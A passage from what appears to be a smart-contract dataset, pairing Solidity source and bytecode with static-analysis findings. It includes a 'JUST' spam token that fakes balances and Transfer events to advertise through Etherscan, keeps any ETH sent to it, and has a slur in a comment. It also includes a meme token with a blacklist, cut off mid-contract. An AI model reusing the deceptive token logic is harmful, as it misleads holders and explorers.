ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133149190613cdb565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600f5461338c9190613dbc565b600f81905550806010546133a09190613cdb565b6010819055505050565b600080600080606486886133be9190613d62565b6133c89190613d31565b90506000606486896133da9190613d62565b6133e49190613d31565b9050600081838a6133f59190613dbc565b6133ff9190613dbc565b905080838395509550955050505093509350939050565b60008060008084886134289190613d62565b9050600085886134389190613d62565b9050600086886134489190613d62565b905060008183856134599190613dbc565b6134639190613dbc565b9050838184965096509650505050509450945094915050565b600061348f61348a84613c5a565b613c35565b905080838252602082019050828560208602820111156134b2576134b161406a565b5b60005b858110156134e257816134c888826134ec565b8452602084019350602083019250506001810190506134b5565b5050509392505050565b6000813590506134fb81614290565b92915050565b60008151905061351081614290565b92915050565b600082601f83011261352b5761352a614065565b5b813561353b84826020860161347c565b91505092915050565b600081519050613553816142a7565b92915050565b600081359050613568816142be565b92915050565b60008151905061357d816142be565b92915050565b60006020828403121561359957613598614074565b5b60006135a7848285016134ec565b91505092915050565b6000602082840312156135c6576135c5614074565b5b60006135d484828501613501565b91505092915050565b600080604083850312156135f4576135f3614074565b5b6000613602858286016134ec565b9250506020613613858286016134ec565b9150509250929050565b60008060006060848603121561363657613635614074565b5b6000613644868287016134ec565b9350506020613655868287016134ec565b925050604061366686828701613559565b9150509250925092565b6000806040838503121561368757613686614074565b5b6000613695858286016134ec565b92505060206136a685828601613559565b9150509250929050565b6000602082840312156136c6576136c5614074565b5b600082013567ffffffffffffffff8111156136e4576136e361406f565b5b6136f084828501613516565b91505092915050565b60006020828403121561370f5761370e614074565b5b600061371d84828501613544565b91505092915050565b60008060006060848603121561373f5761373e614074565b5b600061374d8682870161356e565b935050602061375e8682870161356e565b925050604061376f8682870161356e565b9150509250925092565b60006137858383613791565b60208301905092915050565b61379a81613df0565b82525050565b6137a981613df0565b82525050565b60006137ba82613c96565b6137c48185613cb9565b93506137cf83613c86565b8060005b838110156138005781516137e78882613779565b97506137f283613cac565b9250506001810190506137d3565b5085935050505092915050565b61381681613e02565b82525050565b61382581613e59565b82525050565b600061383682613ca1565b6138408185613cca565b9350613850818560208601613e6b565b61385981614079565b840191505092915050565b6000613871602a83613cca565b915061387c8261408a565b604082019050919050565b6000613894602283613cca565b915061389f826140d9565b604082019050919050565b60006138b7602083613cca565b91506138c282614128565b602082019050919050565b60006138da602983613cca565b91506138e582614151565b604082019050919050565b60006138fd602583613cca565b9150613908826141a0565b604082019050919050565b6000613920602483613cca565b915061392b826141ef565b604082019050919050565b6000613943601783613cca565b915061394e8261423e565b602082019050919050565b6000613966601183613cca565b915061397182614267565b602082019050919050565b61398581613e2e565b82525050565b61399481613e4c565b82525050565b60006020820190506139af60008301846137a0565b92915050565b60006040820190506139ca60008301856137a0565b6139d760208301846137a0565b9392505050565b60006040820190506139f360008301856137a0565b613a00602083018461397c565b9392505050565b600060c082019050613a1c60008301896137a0565b613a29602083018861397c565b613a36604083018761381c565b613a43606083018661381c565b613a5060808301856137a0565b613a5d60a083018461397c565b979650505050505050565b6000602082019050613a7d600083018461380d565b92915050565b60006020820190508181036000830152613a9d818461382b565b905092915050565b60006020820190508181036000830152613abe81613864565b9050919050565b60006020820190508181036000830152613ade81613887565b9050919050565b60006020820190508181036000830152613afe816138aa565b9050919050565b60006020820190508181036000830152613b1e816138cd565b9050919050565b60006020820190508181036000830152613b3e816138f0565b9050919050565b60006020820190508181036000830152613b5e81613913565b9050919050565b60006020820190508181036000830152613b7e81613936565b9050919050565b60006020820190508181036000830152613b9e81613959565b9050919050565b6000602082019050613bba600083018461397c565b92915050565b600060a082019050613bd5600083018861397c565b613be2602083018761381c565b8181036040830152613bf481866137af565b9050613c0360608301856137a0565b613c10608083018461397c565b9695505050505050565b6000602082019050613c2f600083018461398b565b92915050565b6000613c3f613c50565b9050613c4b8282613e9e565b919050565b6000604051905090565b600067ffffffffffffffff821115613c7557613c74614036565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613ce682613e2e565b9150613cf183613e2e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d2657613d25613fa9565b5b828201905092915050565b6000613d3c82613e2e565b9150613d4783613e2e565b925082613d5757613d56613fd8565b5b828204905092915050565b6000613d6d82613e2e565b9150613d7883613e2e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613db157613db0613fa9565b5b828202905092915050565b6000613dc782613e2e565b9150613dd283613e2e565b925082821015613de557613de4613fa9565b5b828203905092915050565b6000613dfb82613e0e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613e6482613e2e565b9050919050565b60005b83811015613e89578082015181840152602081019050613e6e565b83811115613e98576000848401525b50505050565b613ea782614079565b810181811067ffffffffffffffff82111715613ec657613ec5614036565b5b80604052505050565b6000613eda82613e2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613f0d57613f0c613fa9565b5b600182019050919050565b6000613f2382613e38565b915067ffffffffffffffff821415613f3e57613f3d613fa9565b5b600182019050919050565b6000613f5482613e38565b9150613f5f83613e38565b925082613f6f57613f6e613fd8565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61429981613df0565b81146142a457600080fd5b50565b6142b081613e02565b81146142bb57600080fd5b50565b6142c781613e2e565b81146142d257600080fd5b5056fea2646970667358221220863c6e9081447f9743f96be4c193e76f0ab52961c7226cae01b39414d311c61464736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,272 |
0xdc408c8b9e3cF3386b266C1CA429Bfa5915028a5
|
pragma solidity ^0.4.20;
// blaze it fgt ^
/*
* Team JUST presents...
,----, ,----,
,---._ ,/ .`| ,/ .`|
.-- -.' \ .--.--. ,` .' : ,` .' : ,-.
| | : ,--, / / '. ; ; / ; ; / ,--/ /|
: ; | ,'_ /|| : /`. /.'___,/ ,' .'___,/ ,' ,---. ,--. :/ | ,---,
: | .--. | | :; | |--` | : | | : | ' ,'\ : : ' / ,-+-. / |
| : :,'_ /| : . || : ;_ ; |.'; ; ; |.'; ; / / || ' / ,---. ,--.'|' |
: | ' | | . . \ \ `.`----' | | `----' | |. ; ,. :' | : / \| | ,"' |
| ; || | ' | | | `----. \ ' : ; ' : ;' | |: :| | \ / / | | / | |
___ l : | | : ' ; __ \ \ | | | ' | | '' | .; :' : |. \ . ' / | | | | |
/ /\ J :| ; ' | | ' / /`--' / ' : | ' : || : || | ' \ \' ; /| | | |/
/ ../ `..- ,: | : ; ; |'--'. / ; |.' ; |.' \ \ / ' : |--' ' | / | | |--'
\ \ ; ' : `--' \ `--'---' '---' '---' `----' ; |,' | : | |/
\ \ ,' : , .-./ '--' \ \ /'---'
"---....--' `--`----' `----'
* -> What?
* [x] If you are reading this it means you have been JUSTED
* [x] It looks like an exploit in the way ERC20 is indexed on Etherscan allows malicious users to virally advertise by deploying contracts that look like this.
* [x] You pretty much own this token forever, with nothing you can do about it until we pull the UNJUST() function.
* [x] Just try to transfer it away, we dare you!
* [x] It's kinda like shitposting on the blockchain
* [x] Pls fix Papa Vitalik
* [x] Also we love your shirts.
*
*
* Also we're required to virally advertise.
* Sorry its a requirement
* You understand
*
* Brought to you by the Developers of Powh.io
* The first three dimensional cryptocurrency.
* https://discord.gg/KJ9wJG8
*/
contract ERC20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract DisqusBot is ERC20Interface {
// Standard ERC20
string public name = "www.disqusbot.com";
uint8 public decimals = 18;
string public symbol = "www.disqusbot.com";
// Default balance
uint256 public stdBalance;
mapping (address => uint256) public bonus;
// Owner
address public owner;
bool public JUSTed;
// PSA
event Message(string message);
function DisqusBot()
public
{
owner = msg.sender;
totalSupply = 1337 * 1e18;
stdBalance = 69 * 1e18;
JUSTed = true;
}
/**
* Due to the presence of this function, it is considered a valid ERC20 token.
* However, due to a lack of actual functionality to support this function, you can never remove this token from your balance.
* RIP.
*/
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
bonus[msg.sender] = bonus[msg.sender] + 1e18;
emit Message("+1 token for you.");
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* Due to the presence of this function, it is considered a valid ERC20 token.
* However, due to a lack of actual functionality to support this function, you can never remove this token from your balance.
* RIP.
*/
function transferFrom(address , address _to, uint256 _value)
public
returns (bool success)
{
bonus[msg.sender] = bonus[msg.sender] + 1e18;
emit Message("+1 token for you.");
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* Once we have sufficiently demonstrated how this 'exploit' is detrimental to Etherescan, we can disable the token and remove it from everyone's balance.
* Our intention for this "token" is to prevent a similar but more harmful project in the future that doesn't have your best intentions in mind.
*/
function UNJUST(string _name, string _symbol, uint256 _stdBalance, uint256 _totalSupply, bool _JUSTed)
public
{
require(owner == msg.sender);
name = _name;
symbol = _symbol;
stdBalance = _stdBalance;
totalSupply = _totalSupply;
JUSTed = _JUSTed;
}
/**
* Everyone has tokens!
* ... until we decide you don't.
*/
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
if(JUSTed){
if(bonus[_owner] > 0){
return stdBalance + bonus[_owner];
} else {
return stdBalance;
}
} else {
return 0;
}
}
function approve(address , uint256 )
public
returns (bool success)
{
return true;
}
function allowance(address , address )
public
view
returns (uint256 remaining)
{
return 0;
}
// in case someone accidentally sends ETH to this contract.
function()
public
payable
{
owner.transfer(address(this).balance);
emit Message("Thanks for your donation.");
}
// in case some accidentally sends other tokens to this contract.
function rescueTokens(address _address, uint256 _amount)
public
returns (bool)
{
return ERC20Interface(_address).transfer(owner, _amount);
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101be578063095ea7b31461024c5780630da86f7f146102a657806318160ddd146102d357806323b872dd146102fc578063313ce5671461037557806357376198146103a457806370a08231146103fe5780637ecfb6751461044b5780638da5cb5b1461047457806395d89b41146104c9578063a9059cbb14610557578063d8cb4aa3146105b1578063dd62ed3e146105fe578063fdbb9fdb1461066a575b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561015457600080fd5b7f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a8191376040518080602001828103825260198152602001807f5468616e6b7320666f7220796f757220646f6e6174696f6e2e0000000000000081525060200191505060405180910390a1005b34156101c957600080fd5b6101d1610727565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025757600080fd5b61028c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107c5565b604051808215151515815260200191505060405180910390f35b34156102b157600080fd5b6102b96107d1565b604051808215151515815260200191505060405180910390f35b34156102de57600080fd5b6102e66107e4565b6040518082815260200191505060405180910390f35b341561030757600080fd5b61035b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107ea565b604051808215151515815260200191505060405180910390f35b341561038057600080fd5b610388610951565b604051808260ff1660ff16815260200191505060405180910390f35b34156103af57600080fd5b6103e4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b341561040957600080fd5b610435600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a49565b6040518082815260200191505060405180910390f35b341561045657600080fd5b61045e610b07565b6040518082815260200191505060405180910390f35b341561047f57600080fd5b610487610b0d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d457600080fd5b6104dc610b33565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561051c578082015181840152602081019050610501565b50505050905090810190601f1680156105495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056257600080fd5b610597600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd1565b604051808215151515815260200191505060405180910390f35b34156105bc57600080fd5b6105e8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d37565b6040518082815260200191505060405180910390f35b341561060957600080fd5b610654600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d4f565b6040518082815260200191505060405180910390f35b341561067557600080fd5b610725600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190919080359060200190919080351515906020019091905050610d5a565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107bd5780601f10610792576101008083540402835291602001916107bd565b820191906000526020600020905b8154815290600101906020018083116107a057829003601f168201915b505050505081565b60006001905092915050565b600660149054906101000a900460ff1681565b60005481565b6000670de0b6b3a7640000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a8191376040518080602001828103825260118152602001807f2b3120746f6b656e20666f7220796f752e00000000000000000000000000000081525060200191505060405180910390a18273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60008273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a2a57600080fd5b5af11515610a3757600080fd5b50505060405180519050905092915050565b6000600660149054906101000a900460ff1615610afd576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610af357600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600454019050610b02565b6004549050610b02565b600090505b919050565b60045481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc95780601f10610b9e57610100808354040283529160200191610bc9565b820191906000526020600020905b815481529060010190602001808311610bac57829003601f168201915b505050505081565b6000670de0b6b3a7640000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a8191376040518080602001828103825260118152602001807f2b3120746f6b656e20666f7220796f752e00000000000000000000000000000081525060200191505060405180910390a18273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60056020528060005260406000206000915090505481565b600080905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610db657600080fd5b8460019080519060200190610dcc929190610e13565b508360039080519060200190610de3929190610e13565b50826004819055508160008190555080600660146101000a81548160ff0219169083151502179055505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610e5457805160ff1916838001178555610e82565b82800160010185558215610e82579182015b82811115610e81578251825591602001919060010190610e66565b5b509050610e8f9190610e93565b5090565b610eb591905b80821115610eb1576000816000905550600101610e99565b5090565b905600a165627a7a72305820e08696448573ddc5465b25c409816d81de2c9b11fc109d4deef52179d9f73a4c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,273 |
0x935fd93dadc5ff78a8099f3e2859bc0d0b48545a
|
/*
https://t.me/BaseballInu
██████╗░░█████╗░░██████╗███████╗██████╗░░█████╗░██╗░░░░░██╗░░░░░ ██╗███╗░░██╗██╗░░░██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗██╔══██╗██║░░░░░██║░░░░░ ██║████╗░██║██║░░░██║
██████╦╝███████║╚█████╗░█████╗░░██████╦╝███████║██║░░░░░██║░░░░░ ██║██╔██╗██║██║░░░██║
██╔══██╗██╔══██║░╚═══██╗██╔══╝░░██╔══██╗██╔══██║██║░░░░░██║░░░░░ ██║██║╚████║██║░░░██║
██████╦╝██║░░██║██████╔╝███████╗██████╦╝██║░░██║███████╗███████╗ ██║██║░╚███║╚██████╔╝
╚═════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝ ╚═╝╚═╝░░╚══╝░╚═════╝░
Need a fun, uplifting meme while the market dives?
BATTER UP!!!
This could be your GRAND-SLAM!
No strike-outs here!
Did you miss FootBall Inu?
Here is your chance!
Liquidity locked, ownership renounced.
15% rewards split between holders and team.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BaseballINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "t.me/BaseballInu | Baseball Inu";
string private constant _symbol = 'BASEBALLinu';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 12;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
